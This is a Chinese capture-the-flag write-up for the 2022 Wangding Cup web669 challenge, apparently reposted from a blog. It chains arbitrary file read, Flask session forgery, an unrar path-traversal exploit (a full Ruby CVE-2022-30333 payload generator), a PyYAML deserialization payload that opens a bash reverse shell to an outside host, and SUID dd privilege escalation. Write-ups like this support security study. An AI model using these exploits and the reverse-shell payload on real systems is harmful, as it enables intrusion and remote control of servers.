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2022网鼎杯网鼎杯web669wp

2022-08-27 17:34:33  阅读:139  来源: 互联网

标签:网鼎杯 return .. filename session 2022 path web669wp x00


大致思路:

1.任意文件读取

2.session伪造

3.untar目录穿越,任意文件写

4.yaml反序列化

5.sudi dd提权

任意文件读取

题目代码

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()

def response(content, status):
    resp = make_response(content, status)
    return resp


@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None


@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)


@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)


@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)
        
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')


@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

download存在任意文件下载,双写绕过即可

伪造session

读取/etc/hosts 获取 socket.gethostname() 为 engine-1 用于伪造session

unrar目录穿越

替换session后构造rar包上传解压导致目录穿越

脚本如下cve-2022-30333.rb

cve-2022-30333.rb '../../../../fileinfo/c81e728d9d4c2f636f067f89cc14862c.yaml' ./c81e728d9d4c2f636f067f89cc14862c.yaml>5.rar
# Encoding: ASCII-8BIT

require 'zlib'

if ARGV.length != 2
  $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
  $stderr.puts
  $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
  exit
end

SYMLINK_LENGTH = 0x68
PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\')
if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
  $stderr.puts "Payload symlink is invalid, probably too long!"
  exit
end

PAYLOAD_LENGTH = 0x1000
PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0")
if PAYLOAD_DATA.length != PAYLOAD_LENGTH
  $stderr.puts "Payload data is invalid, probably too long!"
  exit
end

FILENAME_LENGTH = 0x0c
FILENAME = "DONTLOOKATME"

RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
RAR.concat(FILENAME) # Symlink filename
RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
RAR.concat(PAYLOAD_SYMLINK)
RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
RAR.concat("\x80\x00\x00\x0c")
RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
RAR.concat(PAYLOAD_DATA)
RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")

print RAR

yaml反序列化

绕过waf写出如下payload,保存至c81e728d9d4c2f636f067f89cc14862c.yaml

!!python/object/new:bytes
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__\x28'os'\x29.popen\x28'bash -i >/dev/tcp/xxxxxxx/8888 0>&1'\x29"]

上传

访问

获取交互式shell

寻找suid

find / -user root -perm -4000 -exec ls -ldb {} \;


dd提权

dd if=/flag of=/tmp/2

cat /tmp/2

标签:网鼎杯,return,..,filename,session,2022,path,web669wp,x00
来源: https://www.cnblogs.com/kagari/p/16630947.html

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